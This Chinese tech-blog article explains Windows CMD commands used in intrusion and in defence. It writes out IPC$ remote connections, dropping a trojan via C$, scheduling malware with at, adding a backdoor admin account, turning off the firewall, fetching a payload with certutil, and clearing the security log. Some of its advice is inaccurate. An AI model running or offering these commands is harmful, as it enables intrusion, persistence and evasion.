在Windows系统的江湖里，CMD命令提示符就像一本被封印的《九阴真经》——有人用它修电脑改配置，有人却想用它搞点「骚操作」。本文将以技术视角拆解新手常问的CMD入侵指令，但必须强调：技术无罪，操作有界。所有案例仅供学习防御思路，擅自尝试可能喜提「银手镯」大礼包（懂的都懂.jpg）。
一、基础装备：从「Hello World」到网络侦察
每个黑客电影的镜头都始于黑色窗口中跳动的代码，但现实中入门第一步往往是信息搜集。打开CMD的姿势有很多种：Win+R输入cmd回车是基操，高手则会在文件夹地址栏直接输入「cmd」实现精准定位（网页15/57）。
通过`ipconfig`查看本机IP地址和网关，用`netstat -ano`检查可疑端口连接（网页54），这些指令如同「电子听诊器」，能快速判断电脑是否被「挂马」。举个栗子，某网友发现电脑卡顿，用`tasklist`查进程时发现陌生程序占用CPU 90%，顺藤摸瓜找到了潜伏的挖矿木马（网页30）。
二、远程操控：IPC$连接的「矛与盾」
传说中的IPC$连接堪称Windows经典漏洞（网页1），原理是通过空口令或弱密码建立远程通道。指令`net use 目标IPipc$ "密码" /user:用户名`看似简单，但成功率取决于两个关键：
1. 目标机开放445端口
2. 管理员账号使用123456等弱密码
曾有实验室用虚拟机测试发现：使用默认Administrator账户且未改密码的Win7系统，10秒内就能通过`copy 木马.exe 目标IPc$`完成文件投递（网页1）。不过这套路在Win10/11早已过时——微软默认禁用空连接，且防火墙会拦截可疑SMB流量。
三、时间刺客：计划任务的「定时」
想让木马在特定时间自动运行？`at`指令曾是老司机的神器。比如设定`at 192.168.1.100 23:00 c:malware.exe`，就能让目标电脑在深夜启动恶意程序（网页1）。但现代系统更推荐用`schtasks`命令，支持更复杂的触发条件。
有趣的是，防守方也能用计划任务反制：某企业IT通过`schtasks /create /tn "反挖矿" /tr "taskkill /f /im xmrig.exe" /sc hourly`，每小时自动终结挖矿进程（网页54）。
四、权限攻防：从「提权」到「社会工程学」
通过`net user 用户名 密码 /add`创建后门账户，再用`net localgroup administrators 用户名 /add`提升为管理员（网页1），这套组合拳在20年前屡试不爽。但如今想要复现？先得过Windows Defender的实时防护，还得绕过UAC弹窗提醒。
更现实的威胁来自钓鱼攻击。比如诱导小白运行伪装成「游戏外挂」的.bat脚本，其中包含`netsh firewall set opmode disable`关闭防火墙的指令（网页3）。这类攻击不靠技术碾压，而是精准拿捏人性弱点。
五、数据安全：文件操作的「暗度陈仓」
文件映射指令`net use z: 目标IPc$`能把对方C盘变成你的「网络硬盘」（网页1），但这需要先突破权限壁垒。实际攻击中，攻击者更倾向用`certutil -urlcache -split -f http://恶意网站/木马.exe`直接从外网下载载荷，规避本地查杀。
防守建议也很简单：定期用`attrib +s +h 敏感文件夹`隐藏关键目录（网页15），或是用`icacls 文件夹 /deny 入侵用户:F`限制陌生账户权限（网页54）。
指令速查表
| 指令类型 | 攻击指令示例 | 防御指令示例 |
||-|-|
| 网络侦察 | `netstat -ano` | `netsh advfirewall set allprofiles state on` |
| 文件操作 | `copy malware.exe IPc$` | `attrib +s +h C:机密` |
| 权限管理 | `net localgroup administrators 用户 /add` | `icacls 文件 /remove 用户` |
互动话题区
> 网友@键盘侠本侠：试过用`telnet`连学校服务器，结果被辅导员请喝茶...求问怎么清理日志？
> 编辑回复：年轻人耗子尾汁！正经人谁手动删日志？建议学习`wevtutil cl security`清空安全事件（后果自负.gif）
> 网友@小白兔白又白：公司电脑中了勒索病毒，弹窗要我付0.1个比特币！CMD还能救数据吗？
> 编辑回复：节哀顺变...赶紧拔网线用PE系统备份残余文件，别交赎金（血泪教训：80%交了钱也拿不回数据）
欢迎在评论区留下你的「翻车经历」或技术疑问，点赞过百立刻更新《防御篇：如何用CMD反杀黑客》！
